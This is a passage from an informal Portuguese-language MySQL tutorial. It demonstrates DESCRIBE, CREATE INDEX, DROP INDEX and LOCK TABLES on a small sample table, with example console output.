-> "Solteira"),("Joao","16","Solteiro")\g
Query OK, 3 rows affected (0.01 sec)
Records: 3 Duplicates: 0 Warnings: 0
- Finalmente usamos DESCRIBE para obter informacoes sobre as colunas:
mysql> describe dados;
+--------------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------+----------+------+-----+---------+-------+
| nome | char(30) | | | | |
| idade | int(5) | | | 0 | |
| estado_civil | char(10) | | | | |
+--------------+----------+------+-----+---------+-------+
3 rows in set (0.01 sec)
mysql> desc dados nome\g
+-------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+----------+------+-----+---------+-------+
| nome | char(30) | | | | |
+-------+----------+------+-----+---------+-------+
1 row in set (0.00 sec)
*
CREATE INDEX -> Essa intrucao eh usada para criar index em uma tabela.
--------------- Sua Sintaxe:
CREATE [UNIQUE] INDEX index_name ON tbl_name (col_name[(length)],... )
Onde index_name eh o nome do index.Exemplo:
Usando a tabela criada no exemplo anterior podemos fazer:
mysql> create index N on dados (nome(2))\g
Query OK, 3 rows affected (0.03 sec)
Records: 3 Duplicates: 0 Warnings: 0
Criamos entao o index de nome "N" da tabela "dados" contendo 2 elementos
da coluna "nome".Veremos entao informacoes sobre esse index criado:
mysql> show index from dados;
+-----+----------+--------+------------+------+---------+-----------+--------+
|Table|Non_unique|Key_name|Seq_in_index|Coluna|Collation|Cardinality|Sub_part|
+-----+----------+--------+------------+------+---------+-----------+--------+
|dados| 1 | N | 1 | nome | A | NULL | 2|
+-----+----------+--------+------------+------+---------+-----------+--------+
1 row in set (0.01 sec)
Eu mudei um pouco acima para que de para entender melhor.Nao se preocupe se
nao couber em sua tela, isso eh normal.
*
DROP INDEX -> Instrucao usada para apagar um index.Sintaxe:
-------------
DROP INDEX index_name ON tbl_name
Podemos usar o exemplo anterior para mostrar o uso de DROP INDEX.
mysql> drop index N on dados\g
Query OK, 3 rows affected (0.07 sec)
Records: 3 Duplicates: 0 Warnings: 0
*
LOCK TABLES -> Essa instrucao eh usada para bloquear(travar) tabela no
-------------- thread atual.Sua sintaxe:
LOCK TABLES tbl_name [AS alias] {READ | [READ_LOCAL] | [LOW_PRIORITY]
WRITE} [, tbl_name {READ | [LOW_PRIORITY] WRITE} ...]
Onde:
READ - Trava a tabela p/ escrita..(Cuidado para nao se confundir!).Exe:
mysql> lock tables dados READ\g
Query OK, 0 rows affected (0.01 sec)
Abre uma outra conexao(no caso thread) e tente inserir valores na tabela:
mysql> insert into dados values ('Silvia','17','Casada')\g
Fica travada.Esperando a boa feh do cara ou um control + C.
WRITE - Trava a tabela para leitura.Desse modo, a tabela nao pode ser
visualizada:
mysql> lock table dados WRITE\g
Query OK, 0 rows affected (0.00 sec)
Em outro thread, tente:
mysql> select * from dados\g
\c
,x,x,x
Aborted
Saih com control + C, mas se o cara que bloqueou a tabela desbloquer,
aih tudo tranquilo.